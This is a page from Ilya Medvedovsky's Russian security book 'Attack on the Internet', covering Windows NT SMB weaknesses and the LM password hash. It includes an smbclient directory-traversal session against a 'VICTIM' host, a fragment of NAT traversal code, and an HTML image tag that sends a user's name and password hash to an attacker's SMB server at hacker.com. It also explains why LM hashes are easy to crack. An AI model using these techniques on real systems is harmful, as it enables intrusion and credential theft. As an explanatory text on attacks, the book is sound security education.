Илья Медведовский - Атака на Internet Страница 55

$smbclient \\\\VICTIM\\SOME_DIR -n TRUSTME -m LANMAN2 -U HACKER -I 194.94.94.94

smb: \> dir

smb: \> cd ..

smb: \..\> dir

smb: \..\> cd \..\..

smb: \..\..\> dir

smb: \..\..\> get config.sys -

smb: \..\..\> cd windows

Далее злоумышленник может поместить в системный каталог Windows, например, «троянского» коня. Первоначальная реакция Microsoft: «Samba – это неправильный клиент, и он не должен быть использован». Аналогичные попытки делает и NAT (NetBIOS Auditing Tool) – распространенное средство анализа безопасности для Windows-сетей. Вот фрагмент его исходного текста:

strcpy (cur_dir, «..\\*.*»);

do_dir (inbuf, outbuf, cur_dir, fattr, cmp_stash, False);

tested_stash = 0;

strcpy (cur_dir, "\\..\\*.*");

do_dir (inbuf, outbuf, cur_dir, fattr, cmp_stash, False);

tested_stash = 0;

strcpy (cur_dir, "...\\*.*");

do_dir (inbuf, outbuf, cur_dir, fattr, cmp_stash, False);

tested_stash = 0;

Вообще, ошибки, связанные с подменой файлов через относительные пути, становятся сильно распространенными. Все крупные производители серверов для Windows NT их допустили, по крайней мере, по одному разу (см. главу 10). Что касается вышеприведенного фрагмента, то он датирован 17.02.97. Как видно, автор NAT прекрасно был осведомлен о возможности доступа к каталогу в Windows 95 (в Windows NT такой возможности нет), лежащему двумя уровнями выше, через «…». Только почти два года спустя эта «особенность» Windows 95 стала хорошо известна, когда таким же образом удалось получить доступ ко всему диску путем указания URL вида http://www.victim.com/…/.

Попытки использовать SMB в качестве протокола для глобальных сетей приводят и к другим весьма серьезным уязвимостям. Оказывается, можно, например, удаленно получить имя и хэшированный пароль пользователя без его ведома. И в самом деле, указав в HTML-странице ссылку вида: <IMG SRC = "file:////hacker.com/share/image.gif">, злоумышленник заставит ваш браузер присоединиться к SMB-серверу hacker.com. Windows NT позволяет сделать это, даже не спрашивая пользователя о подтверждении: она просто передает имя и хэшированный пароль на сервер! Такой атаке подвержена Windows NT версий 3.51 и 4.0 вплоть до последних Service Pack, в качестве браузера может выступать любой – Microsoft Internet Explorer или Netscape Navigator от вторых версий до четвертых. Это и не удивительно, так как уязвимость является фундаментальной и исправить ее любым Service Pack практически невозможно, надо серьезно пересматривать сам процесс идентификации-аутентификации SMB-клиента на сервере.

Получается, свершилось то, о чем даже не мечтали UNIX-хакеры! Можно удаленно «стянуть» имя и зашифрованный пароль пользователя, правда, эта атака пассивна – незадачливый «клиент» сам заходит на враждебный сайт, а не наоборот.

Представитель Microsoft Майк Нэш (Mike Nash), отвечающий за маркетинг Windows NT, узнав об этой уязвимости, заявил: «Хорошо, что люди тестируют наши продукты, и лучшее, что мы можем сделать, – повысить осведомленность наших покупателей в вопросах безопасности» [28].

Итак, следующие особенности Windows NT приводят к успеху удаленных атак на разделяемые ресурсы:

• наличие «скрытых» разделяемых ресурсов, восстанавливающихся при каждой перезагрузке сервера;

• наличие анонимного пользователя и «нуль-сеанса» подключения к IPC$;

• наличие общеизвестных имен и идентификаторов безопасности;

• наличие нескольких диалектов SMB;

• перекладывание некоторых функций SMB-сервера на клиентов;

Процедуры идентификации и аутентификации

Из предыдущих разделов читатель уже уяснил, что для любых действий с сервером Windows NT сначала нужно зарегистрироваться. Рассмотрим процедуры идентификации и аутентификации в этой ОС, используемые в них криптографические алгоритмы и сравним их с аналогичными процедурами в UNIX.

Упрощенно можно считать, что в Windows NT существует две принципиально разные процедуры регистрации на сервере – локальная и удаленная. Для первой, так же как и в UNIX, хэш от введенного пароля пользователя сверяется с эталонным хэш-значением, хранящимся в базе данных диспетчера учетных записей (SAM – Security Account Manager). Для удаленной процедуры можно было применить ту же схему, но тогда значение хэша пользователя передавалось бы по каналам связи на сервер и в принципе могло быть перехвачено кракером. Поэтому здесь, в отличие от UNIX, используется механизм «запрос-отклик», при котором в общедоступные каналы связи передается только зашифрованное на случайном ключе хэш-значение.

Функции хэширования паролей

В ОС Windows NT для защиты паролей используются две однонаправленные хэш-функции: хэш Lan Manager (LM-хэш) и хэш Windows NT (NT-хэш). Наличие двух функций, выполняющих одно и то же, говорит о совместимости со старыми ОС. LM-хэш был разработан Microsoft для операционной системы IBM OS/2, он интегрирован в Windows 95/98, Windows for Workgroups и частично в Windows 3.1. Хэш Windows NT был разработан специально для ОС Microsoft Windows NT, и его умеют вычислять только последние версии ОС этого семейства, начиная с Windows 95. Функция LM-хэш основана на алгоритме DES; NT-хэш является не чем иным, как известной хэш-функцией MD4.

Обычно в базе данных SAM хранятся, будучи дополнительно зашифрованными по алгоритму DES с ключом, зависящим от RID пользователя, оба хэш-образа пароля. Но иногда в системе может храниться только один из них. Очевидно, это будет происходить в случае, когда пользователь меняет пароль из ОС, не поддерживающей NT-хэш, – тогда в базу SAM записывается только LM-хэш (а поле NT-хэша обнуляется). И наоборот, если пароль пользователя превышает 14 байт, то туда попадет один лишь NT-хэш.

В документации Microsoft сказано, что длина паролей Windows NT может достигать 128 символов. Однако User Manager (диспетчер пользователей) ограничивает длину до 14 символов.

При обоих способах входа в систему (локальном и удаленном) процедура аутентификации сначала пытается сверить NT-хэш. Если его не оказывается (либо в базе SAM, либо в переданной информации), тогда она пытается проверить подлинность по LM-хэшу. Такая схема призвана обеспечить большую надежность сетей Windows NT, но в то же время и совместимость со старыми сетевыми клиентами. Однако первое ей не удается по той простой причине, что часто клиент не знает, какой хэш следует передавать серверу, в результате оба хэша передаются одновременно, и стойкость их равна стойкости наиболее слабого из них. Какого же?

Функция хэша Lan Manager вычисляется таким образом:

1. Пароль превращается в 14-символьную строку путем либо усечения более длинных паролей, либо дополнения коротких паролей нулевыми элементами.

2. Все символы нижнего регистра переводятся в верхний регистр. Цифры и специальные символы остаются без изменений.

3. Полученная 14-байтовая строка разбивается на две 7-байтовых половины.

4. Каждая половина строки используется в роли ключа DES при шифровании фиксированной константы, что дает две 8-байтовых строки.

5. Эти строки сливаются для создания одного 16-разрядного значения хэш-функции.

Из этого можно сделать вывод, что атаки на функцию LM-хэша достигают успеха по следующим причинам:

1. Преобразование всех символов в верхний регистр ограничивает и без того небольшое число возможных комбинаций для каждого (26 + 10 + 32 = 68).

2. Две «половины» пароля хэшируются независимо друг от друга. Таким образом, обе 7-символьные части пароля могут подбираться перебором независимо друг от друга, и пароли длиной более семи символов не сильнее паролей длиной в семь символов. Следовательно, для гарантированного нахождения пароля необходимо перебрать вместо 940 + 941 + … + 9414 = 4 х 1027 всего лишь 680 + 681 + … + 687 = 7 х 1012 = 243 комбинации (то есть почти в 1015 раз меньше).

По логике вещей эту сумму надо было умножить на два, так как необходимо перебирать две половинки хэша. Но нетрудно оптимизировать атаку так, чтобы перебрались все пароли только по одному разу, сравнивая поочередно их хэш-значение с каждой половинкой, что сократит время перебора почти в два раза.

Кроме того, пароли, длина которых не превышает семи символов, очень легко распознать, поскольку вторая половина хэша будет одним и тем же значением AAD3B435B51404EE, получаемым при шифровании фиксированной константы с помощью ключа из семи нулей.

3. Скорость перебора паролей в 15 раз больше, чем в UNIX, и достигает 190 000 паролей/с на Pentium 166.

4. Нет элемента случайности (привязки (salt), как это сделано в crypt()) – два пользователя с одинаковыми паролями всегда будут иметь одинаковые значения хэш-функции. Таким образом, можно заранее составить словарь хэшированных паролей и осуществлять поиск неизвестного пароля. Это позволит увеличить скорость перебора на несколько порядков.

Итак, хэш-функция, разработанная на базе того же самого алгоритма DES, но на 10–15 лет позже функции crypt(), оказывается хуже последней по всем параметрам, а именно:

• по мощности перебора для гарантированного подбора пароля – почти в 1 000 раз;

• по скорости перебора – почти в 15 раз;

• по отсутствию случайности, что приводит к уменьшению требуемой памяти для хэширования каждого пароля, – в 4 096 раз.